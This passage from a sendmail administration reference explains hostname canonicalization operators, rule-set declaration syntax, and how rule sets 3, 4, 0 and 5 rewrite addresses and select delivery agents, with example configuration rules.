Thereafter, hostname canonicalization can be observed by specifying rule set 0 and a hostname. One such run of tests is as follows:

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 0 wash
rewrite: ruleset  0   input: wash
rewrite: ruleset  0 returns: wash . dc . gov .
> 0 nohost
rewrite: ruleset  0   input: nohost
rewrite: ruleset  0 returns: nohost
>

Note that the known host named wash is rewritten in canonicalized form (with a dot appended because of the V2). The unknown host named nohost is unchanged and has no dot appended.

28.6.6.2 Default in canonicalization: $:

IDA and V8 sendmail both offer an alternative to leaving the hostname unchanged when canonicalization fails with $[ and $]. A default can be used instead of the failed hostname by prefixing that default with a $::

$[ host $: default $]

The $:default must follow the host and precede the $]. To illustrate its use, consider the following rule:

R$*    $:$[ $1 $: $1.notfound $]

If the hostname $1 can be canonicalized, the workspace becomes that canonicalized name. If it cannot, the workspace becomes the original hostname with a .notfound appended to it. If the default part of the $:default is omitted, a failed canonicalization is rewritten as zero tokens.

28.6.7 Other Operators

Many other operators (depending on your version of sendmail) may also be used in rules. Because of their individual complexity, all of the following are detailed in other chapters. We outline them here, however, for completeness.

Class macros

Class macros are described in Section 32.2.1, "Matching Any in a Class: $=" and Section 32.2.2, "Matching Any Not in a Class: $~" of Chapter 32, Class Macros. Class macros may appear only in the LHS. They begin with the prefix $= to match a token in the workspace to one of many items in a class. The alternative prefix $~ causes a token in the workspace to match if it does not appear in the list of items that are the class.

Conditionals

The conditional macro operator $? is rarely used in rules (see Section 31.6, "Macro Conditionals: $?, $|, and $."). When it is used in rules, the result is often not what was intended. Its else part, the $| conditional operator is used by the check_compat rule set (see Section 29.10.4, "The check_compat Rule Set") to separate the sender from the recipient address.

Database Operators

The database operators, $( and $), are used to look up tokens in various types of database files and network database services. They also provide access to internal services, such as dequoting and looking up MX records (see Chapter 33, Database Macros).

Previous: 28.5 The LHS | sendmail | Next: 28.7 Pitfalls
28.5 The LHS | Book Index | 28.7 Pitfalls


[Chapter 28] 28.7 Pitfalls

sendmailSearch this book
Previous: 28.6 The RHS Chapter 28
Rules 		Next: 29. Rule Sets

28.7 Pitfalls

  • Any text following a rule-set number in a $> expression in the RHS should be separated from the expression with a space. If the space is absent and the text is other than a separating character or an operator, the text is ignored. For example, in $>22xxx, the xxx is ignored.

  • Because rules are processed like addresses when the configuration file is read, they can silently change from what was intended if they are parenthesized or if other nonaddress components are used.

  • Copying rules between screen windows can cause tabs to invisibly become spaces, leading to rule failure.

  • A lone $* in the LHS is especially dangerous. It can lead to endless rule looping and cause all rules that follow it to be ignored (remember the $: and $@ prefixes in the RHS).

  • Failure to test new rules can bring a site to its knees. A flood of bounced mail messages can run up the load on a machine and possibly even require a reboot. Always test every new rule both with -bt (testing) mode (see Section 38.8, "Batch Rule-Set Testing"). and selected -d (debugging) switches (see Table 37.2 in Section 37.5, "Reference in Numerical Order").

Previous: 28.6 The RHS | sendmail | Next: 29. Rule Sets
28.6 The RHS | Book Index | 29. Rule Sets


[Chapter 29] Rule Sets

sendmailSearch this book
Previous: 28.7 Pitfalls Chapter 29 Next: 29.2 Rule Sets and m4

29. Rule Sets

Contents:
The S Configuration Command
Rule Sets and m4
The Sequence of Rule Sets
Rule Set 3
Rule Set 4
Rule Set 0
Rule Set 5
Rule Set 2
Rule Set 1
The check_... Rule Sets
Pitfalls

Rule sets in the configuration file, like subroutines in a program, control the sequence of steps sendmail uses to rewrite addresses. Inside each rule set is a series of zero or more individual rules. Rules are used to select the appropriate delivery agent for any particular address, to detect and reject addressing errors, and to transform addresses to meet particular needs.

In this chapter we will cover all aspects of rule sets, showing that rule sets are called in particular orders and explaining why this is so.

We will explain many of the rules that typically appear in rule sets. But be forewarned: The examples of rules in this chapter are explanatory only. Your sendmail.cf file is likely to have rules that are somewhat different from these examples. Copying or using these examples, without first understanding the underlying principles, can cause email to begin to fail.

29.1 The S Configuration Command

The S configuration command declares the start of a rule set. It is perhaps the simplest of all configuration commands and looks like this:

Sident

The S, like all configuration commands, must begin the line. The ident identifies the rule set. There may be whitespace between the S and the ident. If the ident is missing, sendmail prints the following error message and skips that particular rule set declaration:

/etc/sendmail.cf: line num: invalid ruleset name: ""

Prior to V8.7 sendmail the ident could only be numeric. Beginning with V8.7 sendmail the ident may be numeric or alphanumeric. We cover the old form first, then the new.

29.1.1 Rule-Set Numbers

Prior to V8.7 sendmail, rule sets could be identified only by numbers. When a rule set is declared with an integer, that integer is taken to be the numeric identity of the rule set:

S#

Here, # is an integer such as 23. If the # is greater than half [1] the maximum number of rule sets allowed (MAXRWSETS in conf.h) or is negative, sendmail syslog(3)'s the following error message at the level LOG_CRIT and defaults the rule set to 0:

[1] The reason for this will become clear shortly.

bad ruleset # (n max)

Here, the # is the bad rule-set number from the configuration file, and n is the maximum allowable rule-set number (the value of MAXRWSETS/2). By default, the maximum value for # is 99.

29.1.2 Rule-Set Names

Beginning with V8.7 sendmail, rule sets may be declared with numbers (as above) or with more meaningful names. The form for a rule-set name declaration looks like this:

Sname

The name may contain only ASCII alphanumeric characters and the underscore character. Any bad character causes that character and the characters following it to be silently ignored:

My_rule              <-  good
My rule              <-  bad, name is ``My''

Case is recognized; that is, Myrule and MYRULE are different names. You may use any name that begins with an uppercase letter. Names that begin with a lowercase letter or an underscore character are reserved for internal use by sendmail.

There may be at most MAXRWSETS/2 named rule sets (where MAXRWSETS is defined in conf.h). Each rule set that is declared beyond that amount causes sendmail to print the following error and ignore that rule-set declaration:

name: too many named rulesets (# max)

When you declare a rule set name, sendmail associates a number with it. That number is selected by counting down from MAXRWSETS. That is, the first name is given the number MAXRWSETS-1, the second is given the number MAXRWSETS-2, and so on. Named rule sets may be used anywhere that numbered rule sets can be used.

29.1.3 Associate Number with Name

When knowing the number associated with a named rule set is of importance, you can associate a number with a name when the name is declared. The form of such a combined declaration looks like this:

Sname=num

Here, the rule set named name is declared. Instead of sendmail associating a number with it, you create the association by following the name with an = character and then an integer num. Arbitrary whitespace may surround the = character. If the integer is missing or non-numeric, sendmail prints the following error and skips that rule-set declaration:

/etc/sendmail.cf: line num: bad ruleset definition "bad" (number required after `=')

Although it is ugly, different names may share the same number:

Sfoo=1
Sfee=1

However, the same name may not be given a different number. Consider the following example:

SMyrule=1
SMyrule=2

This causes sendmail to print the following error and skip the second declaration:

/etc/sendmail.cf: line num: Myrule: ruleset changed value (old 1, new 2)

Named rule sets have numbers associated with them when they first appear. If you use a named rule set in an S= equate for a delivery agent and then later attempt to assign it a value, you will get an error like the above:

Mprog, P=sh, ...., S=Myrule, ...
...
SMyrule=2

The solution is either to move the rule-set declaration (and its rules) so that they reside above the delivery agent declaration or to declare a numeric association in the delivery agent declaration instead of in the rule-set declaration:

Mprog, P=sh, ...., S=Myrule=2, ...
...
SMyrule

or to place just the S line above the delivery agent declaration and the rules, without the =2, below it:

SMyrule=2
Mprog, P=sh, ...., S=Myrule, ...
...
SMyrule

In general, we recommend that you assign numbers to named rule sets only if there is a genuine need.

29.1.4 Macros in Rule-Set Names

Macros may be used in any or all of a part of a rule-set declaration. They may be used to declare a name:

D{NAME}myname
S${NAME}

or to declare a number:

D{NUMBER}12
S${NUMBER}

or both a name and a number:

D{NAME}myname
D{NUMBER}12
S${NAME}=${NUMBER}

or even the whole thing:

D{SET}myset=12
S${SET}

You may use single- and multicharacter macros in any combination. Macros may be used in any rule-set declaration, including subroutine calls inside rules:

R$* < $=w > $*       $@ $>${NAME} $2

But they may not be used in the S= or the R= of delivery agents:

Mprog, P=sh, ..., S=$X, R=$X, ...

                    neither of these will work

Macros can be used in the command line to modify a configuration file when sendmail is run. Consider the desire to call one rule set when running as a daemon and another when processing the queue. You might declare such a rule like:

R$* < @ $+ > $*     $@ $>$A $2

The two different runs might look like this:

# /usr/lib/sendmail -MAdaemon_rule -bd
# /usr/lib/sendmail -MAqueue_rule -q30m

The first defines the $A macro to have the value daemon_rule and results in this subroutine call:

R$* < @ $+ > $*     $@ $>daemon_rule $2

The second defines the $A macro to have the value queue_rule and results in this different subroutine call:

R$* < @ $+ > $*     $@ $>queue_rule $2

Note that you cannot define multi character macros from the command line. Also note that defining macros from the command line can result in sendmail giving up its root privilege.

29.1.5 Rule Sets and Lists of Rules

All rules (R lines) that follow a rule-set declaration are added to and become part of that rule set:

S0
R...            <-  rules added to rule set 0
SMyset
R...            <-  rules added to rule set Myset
S1
R...            <-  rules added to rule set 1

Rule sets need not be declared in any particular order. Any order that clarifies the intention of the configuration file as a whole is acceptable. If a rule set appears more than once in a configuration file, V8 sendmail will print a warning:

WARNING: Ruleset name redefined                  <-  Prior to V8.8
WARNING: Ruleset name has multiple definitions   <-  V8.8

and append the new rules to the old:

S0
R...            <-  rules added to rule set 0
S2
R...            <-  rules added to rule set 2
S0              <-  warning issued
R...            <-  rules appended to earlier rule set 0

Note that the warning is given in all cases prior to V8.8, but beginning with V8.8, it is issued only in -bt rule-testing mode or if the -d37.1 debugging switch is set.

Other configuration commands may be interspersed among rule definitions without affecting the rule set to which the rules are added:

S0
R...            <-  rules added to rule set 0
Pjunk=-100
DUuucphost.our.domain
R...            <-  rules added to rule set 0

Any rules that appear before the first S command are added to rule set 0 by default:

R...            <-  rules added to rule set 0
S1              <-  first S command in configuration file
R...            <-  rules added to rule set 1

29.1.6 Odds and Ends

Arbitrary text that follows a rule set declaration is ignored unless it appears to be part of the declaration:

S11 100 more rule sets       <-  rule set 11
S11100 more rule sets        <-  rule set 11,100 is illegal
SMyset 100 more rule sets    <-  rule set Myset

Although the first and last of the above examples work, we recommend that you use the # commenting mechanism instead:

S11 #100 more rule sets       <-  rule set 11
S11#100 more rule sets        <-  rule set 11
SMyset #100 more rule sets    <-  rule set Myset

A rule-set declaration that has no rules associated with it is exactly the same as a rule set that is not declared. Both are like do-nothing subroutines:

               <-  rule set 1 not declared. Same as
S2             <-  rule set 2 without rules
S3
R...

Previous: 28.7 Pitfalls | sendmail | Next: 29.2 Rule Sets and m4
28.7 Pitfalls | Book Index | 29.2 Rule Sets and m4


[Chapter 29] 29.2 Rule Sets and m4

sendmailSearch this book
Previous: 29.1 The S Configuration Command Chapter 29
Rule Sets 		Next: 29.3 The Sequence of Rule Sets

29.2 Rule Sets and m4

When building a configuration file using the m4 technique (see Section 19.1, "The m4 Preprocessor"), sendmail reserves certain rule-set numbers for its own use. Using the m4 technique, you can add rules to those rule sets, but you cannot replace those rule sets with your own. A few m4 keywords are available to make adding rules easier. They affect rule sets 0 through 3 directly and other rule sets indirectly (see Table 19.5 in Section 19.4.3, "Rules and rule sets").

The configuration file created with the m4 technique uses quite a few rule sets beyond the base group of 0 through 5. Table 29.1 shows all the rule sets used by the bare bones m4 technique. They are listed numerically, which also just happens to group them by function. The table also includes the name of the file containing the rules for each rule set.

Table 29.1: Rule Sets Used by the m4 Technique
Set | File | Description
S0 | m4/proto.m4 | Select a delivery agent
S1 | m4/cfhead.m4 | Process all sender addresses
S2 | m4/cfhead.m4 | Process all recipient addresses
S3 | m4/proto.m4 | Preprocess all addresses
S4 | m4/proto.m4 | Postprocess all addresses
S5 | m4/proto.m4 | Post alias select a delivery agent
S10 | mailer/local.m4 | Handle S= for local delivery agent
S11 | mailer/smtp.m4 | Handle S= for smtp delivery agents
S12 | mailer/uucp.m4 | Handle S= for uucp delivery agents
S15 | mailer/mail11.m4 | Handle S= for mail11 delivery agent
S20 | mailer/local.m4 | Handle envelope R= for local delivery agent
S21 | mailer/smtp.m4 | Handle envelope R= for smtp delivery agents
S22 | mailer/uucp.m4 | Handle envelope R= for uucp delivery agents
S25 | mailer/mail11.m4 | Handle envelope R= for mail11 delivery agent
S30 | mailer/local.m4 | Handle <@> and masquerading for local delivery agent
S31 | mailer/smtp.m4 | Handle ALL_MASQUERADE envelope R= for smtp
S40 | mailer/local.m4 | Handle header R= for local delivery agent
S42 | mailer/uucp.m4 | Handle header R= for uucp delivery agents
S50 | mailer/local.m4 | Rules to add local domain (if ALWAYS_ADD_DOMAIN)
S51 | mailer/smtp.m4 | Convert pseudo-domains to real domains
S52 | mailer/uucp.m4 | Handle envelope S= for uucp-dom delivery agent
S61 | mailer/smtp.m4 | Handle ALL_MASQUERADE envelope R= for relay agent
S71 | mailer/smtp.m4 | Handle envelope header R= for relay agent
S72 | mailer/uucp.m4 | Handle envelope S= for uucp-uudom delivery agent
S90 | m4/proto.m4 | Try domain part of mailertable entry
S93 | m4/proto.m4 | Convert header names to masqueraded form
S94 | m4/proto.m4 | Convert envelope names to masqueraded form
S95 | m4/proto.m4 | Canonify mailer:[user@]host syntax to triple
S96 | m4/proto.m4 | Handle common rule set 3 needs
S98 | m4/proto.m4 | Handle local part of rule set 0

Previous: 29.1 The S Configuration Command | sendmail | Next: 29.3 The Sequence of Rule Sets
29.1 The S Configuration Command | Book Index | 29.3 The Sequence of Rule Sets


[Chapter 29] 29.3 The Sequence of Rule Sets

sendmailSearch this book
Previous: 29.2 Rule Sets and m4 Chapter 29
Rule Sets 		Next: 29.4 Rule Set 3

29.3 The Sequence of Rule Sets

When sendmail rewrites addresses, it applies its rule sets in a specific sequence. The sequence differs for sender and recipient addresses, with a third branch used to select delivery agents. Figure 29.1 shows a map of the different paths taken by each kind of address. Those paths show how addresses flow through rule sets.

Both sender and recipient addresses are first input into rule set 3. Then each takes a different path through the rule sets based on its type. Recipient addresses take the dashed path, whereas sender addresses take the solid path. But before those paths can be taken, sendmail needs to select a delivery agent (the dotted path) to get rule-set numbers for the R= and S= of each path.

Figure 29.1: The flow of rules through rule sets

To select a delivery agent, sendmail rewrites the recipient address with rule sets 3 and 0 (the dotted path). Rule set 0 selects a delivery agent that is appropriate for the recipient. That delivery agent supplies rule set values for the S= and R= in the corresponding sender (solid) and recipient (dashed) paths.

After a delivery agent has been selected, the sender address is processed (see Figure 29.2). As was mentioned above, it is first input into rule set 3. Then it flows through rule set 1, then the S= rule set as determined by the delivery agent. Finally, it flows through rule set 4, which returns the rewritten address. This rewritten sender address appears in the header and envelope of the mail message.

Figure 29.2: The flow of sender addresses through rule sets

Note that all addresses are eventually rewritten by rule set 4. In general, rule set 4 undoes any special rewriting that rule set 3 did.

Finally, the recipient address also needs to be rewritten for inclusion in the header and envelope of mail messages (see Figure 29.3). Recall that it was already used once to select the delivery agent. It is used as input to rule set 3, as are all addresses. It then flows through rule set 2, then through the R= rule set selected by the delivery agent, and finally through rule set 4.

Figure 29.3: The flow of recipient addresses through rule sets

The need for separate paths for the sender and the recipient is best explained with an example. Consider a site that wants the addresses of all local users to appear as though they are from the local domain. Such rewriting is appropriate for local users on outgoing mail but inappropriate for recipients at other sites. Clearly, such rewriting should be restricted to the sender path, probably in rule set 1.

The flow of rules through rule sets (as is shown in Figure 29.3) is appropriate for all versions of sendmail. Some versions, such as V8, enhance these rules with others, but all those enhancements begin with this basic set.

29.3.1 V8 Enhancements

V8 sendmail allows envelope addresses to be rewritten separately from header addresses. This separation takes place in the delivery agent R= and S= specific rule sets as illustrated in Figure 29.4.

Figure 29.4: V8 splits rewriting: envelope (solid) versus header (dashed)

The method that is used to split rewriting looks like this:

R=eset/hset            <-  beginning with V8
S=eset/hset            <-  beginning with V8

The envelope-specific rule set is the one to the left of the slash and is represented by a solid line. The header-specific rule set is to the right of the slash (R=eset/hset) and is represented by a dashed line. See Section 30.4.10, R= for a complete description of this process.

Previous: 29.2 Rule Sets and m4 | sendmail | Next: 29.4 Rule Set 3
29.2 Rule Sets and m4 | Book Index | 29.4 Rule Set 3


[Chapter 29] 29.4 Rule Set 3

sendmailSearch this book
Previous: 29.3 The Sequence of Rule Sets Chapter 29
Rule Sets 		Next: 29.5 Rule Set 4

29.4 Rule Set 3

Rule set 3 is the first to process every address. It puts each into a form that simplifies the tasks of other rule sets. The most common method is to have rule set 3 focus an address (place angle brackets around the host part). Then later rules don't have to search for the host part, because it is already highlighted. For example, consider trying to spot the recipient host in this mess:

uuhost!user%host1%host2

Here, user is eventually intended to receive the mail message on the host uuhost. But where should sendmail send the message first? As it happens, sendmail selects uuhost. Focusing on this address therefore results in the following:

user%host1%host2<@uuhost.uucp>

Note that uuhost was moved to the end, the ! was changed to an @, and .uucp was appended. The @ is there so that all focused parts uniformly contain an @ just before the targeted host. Later, when we take up postprocessing, we'll show how rule set 4 moves the uuhost back to the beginning and replaces the !.

29.4.1 A Special Case: From:<>

The first rule in a typical rule set 3 handles addresses that are composed of empty angle brackets. These represent the special case of an empty or nonexistent address. Empty addresses should be turned into the address of the pseudo-user that bounces mail, Mailer-Daemon:

# handle "from:<>" special case
R$*<>$*      $@<@>       empty becomes special

Here, empty angle brackets, no matter what surrounds them ($*), are rewritten to be a lone @. Other rule sets later turn this special token into $n (which contains Mailer-Daemon as its value).

29.4.2 Basic Textual Canonicalization

Addresses can be legally expressed in only four formats: [2]

[2] Actually, we are fudging for simplicity. Addresses can appear in various permutations of those shown and we completely ignore the list:members; form of address.

address
address (full name)
<address>
full name <address>

When sendmail preprocesses an address that is in the second format, it removes (and saves for later use) the full name from within the parentheses. The last two formats, however, contain additional characters and information that are not discarded during preprocessing. As a consequence, rule set 3 must take on the job of discarding the unwanted information:

# basic textual canonicalization
R$*<$*<$*<$*>$*>$*>$*   $4        3-level <> nesting
R$*<$*<$*>$*>$*         $3        2-level <> nesting
R$*<$*>$*               $2        basic RFC821/822 parsing

Here, we discard everything outside of and including the innermost pair of angle brackets. Three rules are required to do this because of the minimal-matching nature of the LHS operators (see Section 8.7.2, "Minimal Matching"). Consider trying to de-nest a three-level workspace using only a rule like the third:

the workspace   ->   A < B < C < D > C > B > A
$*  matches   ->  A
<   matches   ->  <
$+  matches   ->  B < C < D
>   matches   ->  >
$*  matches   ->  C > B > A

Clearly, the result B<C<D is not the value between the innermost pair of angle brackets and will result in an address that produces the error message:

Unbalanced '<'

John Halleck designed a clever alternative to the above traditional technique that is now included with V8 sendmail:

R$*                     $: < $1 >                       housekeeping <>
R$+ < $* >                 < $2 >                       strip excess on left
R< $* > $+                 < $1 >                       strip excess on right
R<>                     $@ < @ >                        MAIL FROM:<> case
R< $+ >                 $: $1                           remove housekeeping <>

Here, angle bracket pairs are stripped first from the left of an address, then from the right, and finally whatever is left must be the address.

29.4.3 Handling Routing Addresses

The sendmail program must be able to handle addresses that are in route address syntax. Such addresses are in the form @A,@B:user@C (which means that mail should be sent first to A, then from A to B, and finally from B to C). [3] The commas are converted to colons for easier design of subsequent rules. They must be converted back to commas by rule set 4. Rule set 3 uses a simple rule to convert all commas to colons:

[3] Also see the DontPruneRoutes option in Section 34.8.20, DontPruneRoutes (R) and the F=d delivery agent flag in Section 30.8.16, F=d.

# make sure list syntax is easy to parse
R@ $+ , $+        @ $1 : $2           change all "," to ":"

The iterative nature of rules comes into play here. As long as there is an @ followed by anything ($+), then a comma, then anything, this rule repeats, converting the comma to a colon. The result is then carried down to the next rule that focuses:

R@ $+ : $+         $@ <@ $1> : $2      focus route-addr

Once that host has angle brackets placed around it (is focused), the job of rule set 3 ends, and it exits (the $@ prefix in the RHS).

29.4.4 Handling Specialty Addresses

A whole book is dedicated to the myriad forms of addressing that might face a site administrator: !%@:: A Directory of Electronic Mail Addressing & Networks by Donnalyn Frey and Rick Adams (O'Reilly & Associates, 1993). We won't duplicate that work here; rather, we point out that most such addresses are handled nicely by existing configuration files. Consider the format of a DECnet address:

host::user

One approach to handling such an address in rule set 3 is to convert it into the Internet user@host.domain form:

R$+ :: $+        $@ $2 @ $1.decnet

Here, we reverse the host and user and put them into Internet form. The .decnet can later be used by rule set 0 to select an appropriate delivery agent.

This is a simple example of a special address problem from the many that can develop. In addition to DECnet, for example, your site may have to deal with Xerox Grapevine addresses, X.400 addresses, or UUCP addresses. The best way to handle such addresses is to copy what others have done.

29.4.5 Focusing for @ Syntax

The last few rules in our illustration of rule set 3 are used to process the Internet-style user@domain address:

# find focus for @ syntax addresses
R$+ @ $+                $: $1 <@ $2>        focus on domain
R$+ < $+ @ $+ >            $1 $2 <@ $3>     move gaze right
R$+ <@ $+ >             $@ $1 <@ $2>        already focused

For an address like something@something, the first rule focuses on all the tokens following the first @ as the name of the host. Recall that the $: prefix to the RHS prevents potentially infinite recursion. Assuming that the workspace started with:

user@host1@host2

this first rewrite results in

user<@host1@host2>

The second rule (move gaze right) then attempts to fine-tune the focus by making sure only the rightmost @host is selected. This rule can move the focus right, using recursion, and can handle addresses that are as extreme as the following:

user<@host1@host2@host3@host4> becomes   ->  user@host1@host2@host3<@host4>

The third rule checks to see whether the workspace has been focused. If it has, it returns the focused workspace (the $@ prefix in the RHS), and its job is done.

Any address that has not been handled by rule set 3 is unchanged and probably not focused. Since rule set 0 expects all addresses to be focused so that it can select appropriate delivery agents, such unfocused addresses may bounce. Many configuration files allow local addresses (just a username) to be unfocused.

Previous: 29.3 The Sequence of Rule Sets | sendmail | Next: 29.5 Rule Set 4
29.3 The Sequence of Rule Sets | Book Index | 29.5 Rule Set 4


[Chapter 29] 29.5 Rule Set 4

sendmailSearch this book
Previous: 29.4 Rule Set 3 Chapter 29
Rule Sets 		Next: 29.6 Rule Set 0

29.5 Rule Set 4

Just as all addresses are first rewritten by rule set 3, so are all addresses rewritten last by rule set 4. Its job is to undo any special processing done by rule set 3, such as focusing. In this section we'll examine some typical rule set 4 rules.

29.5.1 Stripping Trailing Dots

Under some versions of sendmail a successful conversion to a fully qualified domain name leaves an extra dot trailing the result. This rule strips that dot:

# strip trailing dot off possibly canonical name
R$* <@ $+. > $*       $1 <@ $2 > $3

Note that this rule recursively removes as many trailing dots as it finds. Also note that the host part remains focused after rewriting.

29.5.2 Restoring Source Routes

Recall that rule set 3 converted the commas of source route addresses into colons (see Section 29.4.3, "Handling Routing Addresses"). Rule set 4 now needs to restore those commas:

R$* : $+ :$+ <@ $+>       $1 , $2 : $3 <@ $4>            <route-addr> canonical

This rule recursively changes all but one (the rightmost) colon back into a comma.

As a special note, under V8 sendmail, envelope-sender route addresses are always surrounded by angle brackets when passed to the delivery agent. If this behavior is inappropriate for your site, beginning with V8.7 it is possible to prevent this heuristic by specifying the F=d delivery agent flag (see Section 30.8.16).

29.5.3 Removing Focus

Rule set 4 also removes angle brackets inserted by rule set 3 to focus on the host part of the address. This is necessary because mail will fail if they are left in place.

# externalize local domain info
R$* <$+> $*         $1 $2 $3                   defocus

29.5.4 Correcting Tags

After defocusing, rule set 4 may need to convert some addresses back to their original forms. For example, consider UUCP addresses. They entered rule set 3 in the form host!host!user. Rule set 3 rewrote them in the more normal user@host form, and added a .uucp to the end of the host. The following rule in rule set 4 converts such normalized UUCP addresses back to their original form:

# UUCP must always be presented in old form
R$+ @ $-.uucp         $2 ! $1                  u@h.UUCP => h!u

Previous: 29.4 Rule Set 3 | sendmail | Next: 29.6 Rule Set 0
29.4 Rule Set 3 | Book Index | 29.6 Rule Set 0


[Chapter 29] 29.6 Rule Set 0

sendmailSearch this book
Previous: 29.5 Rule Set 4 Chapter 29
Rule Sets 		Next: 29.7 Rule Set 5

29.6 Rule Set 0

The job of rule set 0 is to select a delivery agent for each recipient. It is called once for each recipient and must rewrite each into a special form called a triple. A triple is simply three pieces of information: the symbolic name of the delivery agent, the host part of the address, and the user part of the address. Each part is indicated in the RHS by a special prefix operator, as shown in Table 29.2.

Table 29.2: Rule Set 0 Special RHS Operators
Operator | Description
$# | Delivery agent
$@ | Recipient host
$: | Recipient user

The triple is formed by rewriting with the RHS. It looks like this:

$#delivery_agent $@host $:user

The delivery agent selection must be the first of the three. In addition to specifying the delivery agent, $# also causes rule set 0 to exit. The other two parts of the triple must appear in the order shown ($@ first, then $:).

All three parts of the triple must be present in the RHS. The only exception is the $@host part when the delivery agent has the F=l flag set. It may be present for IDA and V8 sendmail but must be absent for all other versions of sendmail.

Not all rules in rule set 0 are specifically used to select a delivery agent. It may be necessary, for example, to canonicalize an address with $[ and $] (see Section 28.6.6, "Canonicalize Hostname: $[ and $]") before being able to decide whether the address is local or remote.

If an address passes through rule set 0 without selecting a delivery agent, the following error message is produced, and the mail message bounces:

buildaddr: no mailer in parsed address

Therefore it is important to design a rule set 0 that selects a delivery agent for every legitimate address.

If a triple is missing the user part, the following error is produced:

buildaddr: no user

If the delivery agent that is selected is one for which there is no corresponding M configuration file declaration, the error is

buildaddr: unknown mailer bad delivery agent name here

29.6.1 Further Processing: $:user

The user part of the triple is intended for use in the command line of the delivery agent and in the RCPT command in an SMTP connection. For either use, that address is rewritten by rule set 2, the R= equate of the delivery agent, and rule set 4, as illustrated in Figure 29.5. This means that the user part can be in focused form, because the focus is later removed by rule set 4. But the user part must be a single username (no host) for the local delivery agent.

The rewritten result is stored for use when a delivery agent's $u in A= (see Section 30.4.1, A=) argument is expanded. For example, for the local delivery agent, the rewritten result is the username as it will be given to /bin/mail for local delivery.

Figure 29.5: The flow of $:user through rule sets

The rewritten result is also given to a remote site during the exchange of mail using the SMTP protocol. The local machine tells the remote machine the name of the recipient by saying RCPT to: followed by the rewritten user portion of the triple.

29.6.2 Selecting S= and R=

When it selects a delivery agent, rule set 0 also selects the rules that will be used in rewriting sender and recipient addresses. A sender address is rewritten by the rule set specified by the S= equate (see Section 30.4.11, S=). The recipient addresses are rewritten by the rule set specified by the R= equate (see Section 30.4.10). If the R= or S= specifies rule set 0 or if either is undeclared, then that portion of rewriting is skipped.

We won't cover individual R= or S= rule sets here, because they depend on the individual needs of delivery agents. Instead, we recommend that you examine how your configuration file uses them. You'll probably be surprised to find that many R= and S= equates reference nonexistent rules (which means that sendmail will do no rewriting).

29.6.3 Delivering to Local Recipient

Typically, some early rules in rule set 0 are intended to detect addresses that should be delivered locally. A rule that accomplishes that end might look like this:

R$+ <@ $w>          $#local $:$1                 local address

Here, the $w macro is the name of the local host. Note that the RHS strips the focused host part from the username.

At some sites, the local host can be known by any of several names. A rule to handle such hosts would begin with a class declaration that adds those names to the class w (like the first line below):

Cw font-server fax printer3
R$+ <@ $=w>        $#local $:$1                 local address

The class w is special because it is the one to which sendmail automatically appends the alternative name of the local host. The class declaration line above adds names that sendmail might not automatically detect. Usually, such a declaration would be near the top of the configuration file, rather than in rule set 0, but technically it can appear anywhere in the file. This rule looks to see whether an address contains any of the names in class w. If it does, the $=w in the LHS matches, and the RHS selects the local delivery agent.

On central mail server machines, rule set 0 may also have to match from a list of hosts for which the central server is an MX recipient machine (see Section 19.6.26, FEATURE(use-cw-file)).

29.6.4 Forwarding to a Knowledgeable Host

After handling mail destined for the local host, rule set 0 generally looks for addresses that require a knowledgeable host to forward messages on the local host's behalf. In the following rule, $B (see Section 31.10.5, $B) is the name of a machine that knows how to deliver BITNET mail (see Section 19.4.5, "Relays"):

R$* <@ $+.BITNET> $*   $#smtp $@$B $:$1<@$2.BITNET>$3    user@host.BITNET

The tag .BITNET would have been added by users when sending mail. Note that BITNET in the LHS is case-insensitive; a user can specify Bitnet, bitnet, or even BiTNeT, and this rule will still match. A similar scheme can be used for other specialty addresses, such as UUCP and DECnet.

29.6.5 Handling UUCP Locally

Hosts sometimes deliver mail to a few UUCP connections locally and forward to other UUCP connections through a knowledgeable host. The rules that handle this situation often make use of another class:

R$* <@ $=V.UUCP>     $#uucp $@$2 $:$1               user@localuucp
R$* <@ $+.UUCP>      $#smtp $@$Y $:$1<@$2.UUCP>     kick upstairs

Here, the class $=V contains a list of local UUCP connections. They are matched by the first rule, which selects the uucp delivery agent. All other UUCP addresses are passed to the knowledgeable host in $Y (see Section 31.10.45, $Y)). The user part ($:) that is given to the knowledgeable host is the original address as it appeared to the LHS.

29.6.6 Forwarding over the Network

Next, rule set 0 typically sees whether it can send the mail message over the network. In the following example we assume that the local host is connected to an IP network:

# deal with other remote names
R$* <@ $*> $*         $#smtp $@$2 $:$1<@$2>$3          user@host.domain

Remember that we have already screened out and handled delivery to the local host, and therefore the focused host (in the <@$*> of the LHS) is on the network. The smtp delivery agent is selected (to deliver using the SMTP protocol), with connection to be made to $2 (the $* part of the <@$*> in the LHS).

The focus is kept in the user portion of the RHS triple. Remember that the user portion will be rewritten by rule sets 2, R=, and 4. Also remember that rule set 4 will defocus the address. The reason we keep the focus here is because rule set 2 and all R= rules expect the host part of addresses to be focused.

29.6.7 Handling Leftover Local Addresses

Whatever is left after all preceding rules in rule set 0 have selected delivery agents is probably a local address. Here, we check for a username without a host part:

R$+       $#local $:$1        regular local names

Notice that the user part is not focused; it is unfocused because there is no host part on lone local usernames.

Previous: 29.5 Rule Set 4 | sendmail | Next: 29.7 Rule Set 5
29.5 Rule Set 4 | Book Index | 29.7 Rule Set 5


[Chapter 29] 29.7 Rule Set 5

sendmailSearch this book
Previous: 29.6 Rule Set 0 Chapter 29
Rule Sets 		Next: 29.8 Rule Set 2

29.7 Rule Set 5

For version 2 and higher configuration files (see Section 27.5, "The V Configuration Command"), V8 sendmail allows local recipients to undergo additional rewriting. Recall that each recipient address is processed by rule sets 3 and 0. Beginning with V8.7 sendmail, any delivery agent with the F=A flag set [4] (see Section 30.8.12, F=A) will cause the address to undergo aliasing (via the aliases file), which may result in a new local address.

[4] Prior to V8.7 sendmail, only the local delivery agent had this property.

Under V8 sendmail, if an address makes it through aliasing unchanged, it is given to rule set 5, which may select a new delivery agent. Note that it is given to rule set 5 before the ~/.forward file is processed.

Beginning with V8.7 sendmail, any delivery agent that has the F=5 flag set (see Section 30.8.3, F=5) will cause rule set 5 to be called as though the agent were a local one.

To illustrate, consider that a new delivery agent might be needed in the case of a mail firewall machine. A firewall machine is one that sits between the local network and the outside world and protects the local network from intrusion by outsiders. In such an arrangement it may be desirable for all incoming mail to be delivered to the firewall so that no outsider needs to know the real names of machines on the local network.

